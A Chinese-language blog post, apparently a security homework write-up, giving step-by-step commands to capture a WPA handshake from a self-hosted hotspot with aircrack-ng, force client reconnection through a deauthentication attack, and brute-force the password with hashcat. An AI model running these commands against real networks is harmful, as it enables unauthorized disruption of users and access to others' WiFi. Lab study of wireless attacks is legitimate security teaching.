最近的安全学作业,反正都写了,就顺便发了.

PS:文章中的每一步都是攻击自己搭建的热点,仅供学习,请勿擅自攻击别人的wifi(甩锅

正文·

前提·

aircrack-ng要能成功爆破其实是有条件的:

  1. wifi使用弱口令,或wifi口令在攻击者的爆破字典中;
  2. 攻击时wifi信号要足够强,而且有人在连接。

环境·

在这个文章的实验中,aircrack-ng是在Ubuntu18.04(VB虚拟机)中运行的;

获取连接报文后是在Windows10(宿主机)的hashcat中进行爆破;

另外由于在虚拟机中,所以连接wifi使用的是usb外接网卡。

过程·

  1. 安装aircrack-ng

    1
    sudo apt install aircrack-ng
  2. 在运行aircrack-ng前似乎要关闭一些服务(我是做实验+虚拟机的所以随便关,实际情况的话请考虑是不是真的要关闭这些服务)

    1
    2
    3
    # sudo service avahi-daemon stop
    sudo systemctl disable avahi-daemon # think about it!
    sudo airmon-ng check kill

    因为我是虚拟机外接网卡的,所以还要开个网卡:

    1
    2
    iwconfig  # to get name, e.g. wlx********4f9
    sudo ifconfig wlx********4f9 up
  3. 开启网卡的监听模式:

    1
    sudo airmon-ng start wlx********4f9

    如果再次iwconfig看到网卡名字变成wlan0mon的话就是开成功了

  4. 首先sudo airodump-ng wlan0mon一下找攻击对象

    记住CHBSSID,然后捕获其连接数据报文,比如:

    1
    2
    # sudo airodump-ng -c <CH> --bssid <BSSID> -w <output_name> wlan0mon
    sudo airodump-ng -c 11 --bssid 2A:**:**:**:**:22 -w ./test wlan0mon

    首先要确保被攻击的wifi有用户在使用(即STATION下要有东西),然后因为要抓的是连接包,所以需要aireplay-ng攻击一下强制用户重连(不然就要慢慢等新用户上线了),记住上面的BSSIDSTATION

    1
    2
    # sudo aireplay-ng -0 2 -a <BSSID> -c <STATION> wlan0mon
    sudo aireplay-ng -0 2 -a 2A:**:**:**:**:22 -c 24:**:**:**:**:47 wlan0mon

    如果成功的话就会在airodump-ng窗口的右上角显示WPA handshake

    然后会得到一个test-01.cap的数据包

  5. 获取连接包后就可以爆破wifi口令了,这里选择使用hashcat爆破(因为hashcat可以调用显卡),需要先用cap2hccapxcap包转成hashcat可用的hccapx包,cap2hccapx可以在github下载(由于虚拟机不能调显卡,所以后面操作都是在宿主机运行的):

    1
    2
    3
    # now in windows!
    # cap2hccapx.exe input.cap output.hccapx
    cap2hccapx.exe test-01.cap test.hccapx
  6. 然后就可以用hashcat愉快地爆破了~~,由于那个wifi是我自己开的,所以知道是8位纯数字,~~于是就直接爆破8位数字了:

    1
    hashcat64.exe -a 3 -m 2500 path\to\test.hccapx ?d?d?d?d?d?d?d?d

    爆破用时大概1min+

参考·

https://wizardforcel.gitbooks.io/daxueba-kali-linux-tutorial/content/52.html